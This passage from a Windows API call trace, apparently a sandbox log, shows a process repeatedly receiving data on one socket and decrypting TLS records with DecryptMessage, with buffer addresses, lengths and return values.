MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3230988, pfQOP=0x0) returned 0x0 [0131.210] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.210] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.211] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3230b78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3230b78, pfQOP=0x0) returned 0x0 [0131.211] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.211] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.211] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3230d68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3230d68, pfQOP=0x0) returned 0x0 [0131.211] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.211] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.211] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3230f58, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3230f58, pfQOP=0x0) returned 0x0 [0131.211] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.211] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.211] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231148, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231148, pfQOP=0x0) returned 0x0 [0131.212] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.212] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.212] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231338, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231338, pfQOP=0x0) returned 0x0 [0131.212] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.212] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.212] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231528, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231528, pfQOP=0x0) returned 0x0 [0131.212] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.212] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.212] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231718, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231718, pfQOP=0x0) returned 0x0 [0131.212] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.212] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.213] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231908, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231908, pfQOP=0x0) returned 0x0 [0131.213] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.213] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.213] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231af8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231af8, pfQOP=0x0) returned 0x0 [0131.213] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.213] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.213] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231ce8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231ce8, pfQOP=0x0) returned 0x0 [0131.213] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.213] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.213] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3231ed8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3231ed8, pfQOP=0x0) returned 0x0 [0131.213] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.213] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.213] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32320c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32320c8, pfQOP=0x0) returned 0x0 [0131.214] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.214] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 976 [0131.214] recv (in: s=0x4c8, buf=0x31fa00d, len=464, flags=0 | out: buf=0x31fa00d*) returned 464 [0131.221] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32322b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32322b8, pfQOP=0x0) returned 0x0 [0131.222] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.222] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.222] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32324a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32324a8, pfQOP=0x0) returned 0x0 [0131.222] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.222] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.223] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3232698, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3232698, pfQOP=0x0) returned 0x0 [0131.223] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.223] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.223] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3232888, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3232888, pfQOP=0x0) returned 0x0 [0131.223] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.224] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.224] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3232a78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3232a78, pfQOP=0x0) returned 0x0 [0131.224] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.224] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.224] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3232c68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3232c68, pfQOP=0x0) returned 0x0 [0131.225] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.225] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.225] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3232e58, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3232e58, pfQOP=0x0) returned 0x0 [0131.225] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.225] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.225] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233048, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233048, pfQOP=0x0) returned 0x0 [0131.226] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.226] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.226] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233238, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233238, pfQOP=0x0) returned 0x0 [0131.226] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.226] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.226] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233428, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233428, pfQOP=0x0) returned 0x0 [0131.227] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.227] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.227] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233618, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233618, pfQOP=0x0) returned 0x0 [0131.227] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.227] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.227] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233808, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233808, pfQOP=0x0) returned 0x0 [0131.227] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.228] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.228] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32339f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32339f8, pfQOP=0x0) returned 0x0 [0131.228] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.228] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.228] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233be8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233be8, pfQOP=0x0) returned 0x0 [0131.228] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.228] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.228] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233dd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233dd8, pfQOP=0x0) returned 0x0 [0131.228] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.229] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.229] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3233fc8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3233fc8, pfQOP=0x0) returned 0x0 [0131.229] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.229] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.229] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32341b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32341b8, pfQOP=0x0) returned 0x0 [0131.229] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.229] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.230] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32343a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32343a8, pfQOP=0x0) returned 0x0 [0131.230] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.230] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.230] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234598, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234598, pfQOP=0x0) returned 0x0 [0131.230] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.230] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.230] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234788, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234788, pfQOP=0x0) returned 0x0 [0131.231] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.231] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.231] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234978, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234978, pfQOP=0x0) returned 0x0 [0131.231] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.231] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.231] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234b68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234b68, pfQOP=0x0) returned 0x0 [0131.297] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.297] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.297] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234d58, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234d58, pfQOP=0x0) returned 0x0 [0131.297] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.297] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.297] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3234f48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3234f48, pfQOP=0x0) returned 0x0 [0131.297] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.297] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.298] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235138, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235138, pfQOP=0x0) returned 0x0 [0131.298] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.298] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.298] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235328, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235328, pfQOP=0x0) returned 0x0 [0131.298] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.298] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.298] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235518, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235518, pfQOP=0x0) returned 0x0 [0131.298] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.298] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.298] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235708, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235708, pfQOP=0x0) returned 0x0 [0131.298] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.298] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.299] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32358f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32358f8, pfQOP=0x0) returned 0x0 [0131.299] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.299] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.299] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235ae8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235ae8, pfQOP=0x0) returned 0x0 [0131.299] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.299] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.299] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235cd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235cd8, pfQOP=0x0) returned 0x0 [0131.300] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.300] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.300] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3235ec8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3235ec8, pfQOP=0x0) returned 0x0 [0131.300] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.300] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.300] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32360b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32360b8, pfQOP=0x0) returned 0x0 [0131.300] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.300] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.300] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32362a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32362a8, pfQOP=0x0) returned 0x0 [0131.301] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.301] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.301] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236498, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236498, pfQOP=0x0) returned 0x0 [0131.301] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.301] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.301] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236688, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236688, pfQOP=0x0) returned 0x0 [0131.301] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.301] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.301] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236878, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236878, pfQOP=0x0) returned 0x0 [0131.302] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.302] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.302] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236a68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236a68, pfQOP=0x0) returned 0x0 [0131.302] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.302] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.302] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236c58, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236c58, pfQOP=0x0) returned 0x0 [0131.302] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.302] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.302] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3236e48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3236e48, pfQOP=0x0) returned 0x0 [0131.303] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.303] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.303] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237038, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237038, pfQOP=0x0) returned 0x0 [0131.303] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.303] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.303] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237228, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237228, pfQOP=0x0) returned 0x0 [0131.303] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.303] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.303] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237418, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237418, pfQOP=0x0) returned 0x0 [0131.304] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.304] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.304] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237608, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237608, pfQOP=0x0) returned 0x0 [0131.304] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.304] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.305] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32377f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32377f8, pfQOP=0x0) returned 0x0 [0131.305] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.305] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.305] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32379e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32379e8, pfQOP=0x0) returned 0x0 [0131.305] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.305] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.305] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237bd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237bd8, pfQOP=0x0) returned 0x0 [0131.306] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.306] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.306] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237dc8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237dc8, pfQOP=0x0) returned 0x0 [0131.306] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.306] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.306] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3237fb8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3237fb8, pfQOP=0x0) returned 0x0 [0131.306] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.306] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.306] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32381a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32381a8, pfQOP=0x0) returned 0x0 [0131.307] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.307] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.307] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3238398, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3238398, pfQOP=0x0) returned 0x0 [0131.307] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.307] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.307] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3238588, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3238588, pfQOP=0x0) returned 0x0 [0131.307] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.307] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 16416 [0131.308] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323c7b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323c7b8, pfQOP=0x0) returned 0x0 [0131.308] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.308] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.308] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323c9a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323c9a8, pfQOP=0x0) returned 0x0 [0131.308] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.308] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 16416 [0131.308] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323cb98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323cb98, pfQOP=0x0) returned 0x0 [0131.308] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.309] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 1773 [0131.309] recv (in: s=0x4c8, buf=0x3238d72, len=1875, flags=0 | out: buf=0x3238d72*) returned 1875 [0131.319] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323cd88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323cd88, pfQOP=0x0) returned 0x0 [0131.320] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.320] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 5380 [0131.320] recv (in: s=0x4c8, buf=0x3239b89, len=11036, flags=0 